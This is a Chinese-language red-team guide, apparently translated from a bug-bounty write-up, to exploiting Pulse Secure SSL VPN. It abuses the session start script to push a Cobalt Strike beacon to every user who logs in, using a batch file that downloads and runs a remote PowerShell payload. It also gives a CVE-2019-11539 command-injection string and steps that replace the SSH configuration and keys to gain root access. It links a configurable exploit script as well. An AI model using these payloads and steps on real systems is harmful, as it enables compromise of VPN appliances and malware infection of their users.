红队Pulse Secure SSLVPN 漏洞指南

0x00 前言介绍

本文是Orange Tsai(orange_8361)和Meh Chang(mehqq_)提出的关于攻击Pulse Secure SSL VPN的研究成果。该研究主要由Alyssa Herrera(Alyssa_Herrera),Justin Wagner(0xDezzy)和Mimir(XMPPwocky)负责。还得到了Rich Warren的帮助(buffaloverflow),并实现了利用的自动化。本文将集中讨论两个主题,主要是扩展Orange Tsai在客户端登录时演示的文件执行的初始化功能验证,并演示如何使用CVE-2019-11539获得具有root权限的SSH shell。在后面的文章中,将讨论Mimir是如何创建CVE-2019-11510的。后渗透利用是由Justin Wagner创建的漏洞利用模块。

0x01 利用登录脚本反弹shell

pulse secure 连接包含允许管理员在用户登录或注销其vpn实例时设置用户客户端自动执行本地托管文件的功能。

此功能允许您设置要执行的脚本,这对于红色的teamers或恶意actor来说非常有吸引力。我们最初试图在执行power-shell或cmd时滥用此功能来执行args,但并没有成功。后来,我们从Mimir那里获得了一个想法,尝试使用UNC路径来查询SMB服务器来执行攻击,这对我们来说很有用。

下面是我们所做的,我们首先设置了一个smb服务器,可以通过google快速搜索来完成。然后我们托管一个批处理文件,这个批处理文件使用power shell来查询和执行我们的shell到目标上,我们使了cobaltstrike  beacon。

                                                                                 批处理脚本代码 

我们用于批处理脚本代码如下:(shell.bat)

@echo offpowershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://your-ip/payload))”

                                                                  设置coibalt strike

现在,在pulse secure实例中,我们将使用管理凭据登录。您可以通过利用CVE-2019-11510来获取保存会话ID的文件,明文凭据或可以破解的哈希值。
然后,我们将导航到“用户 – >用户角色 – > VPN隧道 – > Windows会话启动脚本”( users -> user roles -> VPN Tunneling -> Windows: Session start script)

                                                                            会话启动脚本端点

从这里,可以输入SMB服务器的UNC路径,该服务器包含我们的批处理文件,它将查询我们的shell并执行它。如下图所示:

                                                        修改服务器的会话启动脚本

从此处,登录到被攻击的vpn实例的任何用户都将执行有效负载,并随后允许访问该用户的计算机。还提供了漏洞演示,如下图:

                                                                                                      用户已登录

                                                                                                                                                 用户登录后立即执行shell

0x02 利用Pulse Secure Connect和CVE-2019-11539获得SSH root shell

现在,对于有趣的部分,我们如何能够利用post-auth漏洞来获得具有root权限的SSH shell。按照上半部分的说法,我们已经提到了让未修补的 pulse获得授权并不难,所以我们将讨论如何获取这个设备的shell。

在研究中发现,我们有权限修改IP表旁边的ssh密钥和ssh密钥配置,这样我们就可以无缝地获得具有root访问权限的SSH shell。

要快速刷新post-auth命令注入,需要我们提交以下命令:

-r$x=”Our command”,system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <

到TCP转储端点(tcp dump endpoint),可以在Maintenance – > trouble shooting – > TCP Dump中找到。

                                   注入命令 – 点击开始嗅探

该页面将显示一个错误,但该命令已被处理,然后我们将请求https://your server/dana na/auth/setcookie.cgi来执行该命令。每当我们想要向服务器执行查询时,我们需要重复此过程,否则我们的命令将不会被执行。

此目标是修改设备中的sshd配置,并将我们自己的ssh密钥添加到系统中,从而允许ssh外部连接。我们特别针对的是在/.ssh/中找到的授权密钥和在/etc/文件夹中找到的cloud_sshd_config的守护程序的配置文件。

现在执行后渗透利用攻击以从此处获得我们的ssh shell,相当简单。我们使用cp cloud_sshd_config和授权密钥的扩展名为.bak文件,这样我们就可以拥有原始文件的备份副本。应该创建一个sshd配置文件,如下所示。

Protocol 2
UsePrivilegeSeparation no
RSAAuthentication yes
PubkeyAuthentication yes
ClientAliveInterval 180
ListenAddress 0.0.0.0

在此之后,我们将自己的authorized_keys以及前面描述的sshd配置文件拷贝到tmp文件夹中,因为我们制作了原始文件的备份副本,现在我们可以安全地将我们自己的文件移动到服务器并重写入。从您自己的服务器拷贝它,然后将文件移动到指定的目录是最简单的方法,而不是通过命令注入来修改它。

从这里我们将修改iptables以打开端口,可以通过以下命令完成

iptables -A INPUT -p tcp — dport PORT -j ACCEPT

要完成我们的更改,我们需要重新启动sshd-ive服务才能进行修改

kill -SIGHUP $(pgrep -f “sshd-ive

一旦完成,我们现在可以ssh的root权限登录到设备中。

ssh [email protected] -p6667

这将为我们提供root ssh shell而无需进一步权限提升。如上所述,这需要一些时间来手动执行,因为每次我们想要发出命令时我们需要发出两个请求。这可以很容易地编写脚本,我们在下面准备了一个演示,展示了从简单的管理员访问到Pulse Secure SSL VPN以获得对服务器的root访问权限。我们还将发布我们的脚本来利用这个漏洞,可以在https://github.com/0xdezzy/cve-2019-11539上找到。

0x03 利用Pulse Secure Connect中的Post-Auth RCE漏洞(CVE-2019-11539自动化利用)

1.漏洞描述

在Pulse Security Pulse中,连接到9.0r3.4之前的安全版本9.0rx、8.3r7.1之前的8.3rx、8.2r12.1之前的8.2rx和8.1r15.1之前的8.1rx以及9.0r3.2之前的Pulse Policy安全版本9.0rx、5.4r7.1之前的5.4rx、5.3r12.1之前的5.3rx、5.2r12.1之前的5.2rx和5.1r15.1之前的5.1rx,管理web界面允许经过身份验证的攻击者进行命令注入和执行命令。

2.利用漏洞描述

此漏洞利用了Post-Auth远程执行代码漏洞,并修改了SSH配置,允许用户以root身份登录VPN设备本身。它将下载一个新的ssh配置文件和authorized_keys文件,备份原始文件,然后覆盖旧文件。完成后,它会向Sshd-ive发送一个SIGHUP,重新启动进程并加载新配置。

POC:

https://github.com/0xDezzy/CVE-2019-11539

3.配置

要使用此漏洞,您需要修改以下内容:

设置目标主机:

...
host = 'REPLACE-WITH-IP-OR-FQDN' # Host to exploit  #VPN设备的IP地址或者主机名
...

VPN设备的管理员登录凭据:

# Login Credentials
user = 'admin' # Default Username  #VPN的用户名
password = 'password' # Default Password #VPN的密码

以及主机文件下载地址和端口:

# Necessary for Curl
downloadHost = '' # IP or FQDN for host running webserver #HTTP 文件服务器的IP地址或者主机名
port = '' # Port where web service is running. Needs to be a string, hence the quotes. #HTTP文件服务器的端口

修改后,您应该能够在没有任何问题的情况下运行漏洞利用程序。如果系统是只读的,则需要修改代码并以读写方式安装系统。我不会这样做的。您需要掌握所针对的系统的知识,如果不知道,则不建议使用此漏洞攻击。

4.演示

  from:  https://medium.com/bugbountywriteup/pulse-secure-ssl-vpn-post-auth-rce-to-ssh-shell-2b497d35c35b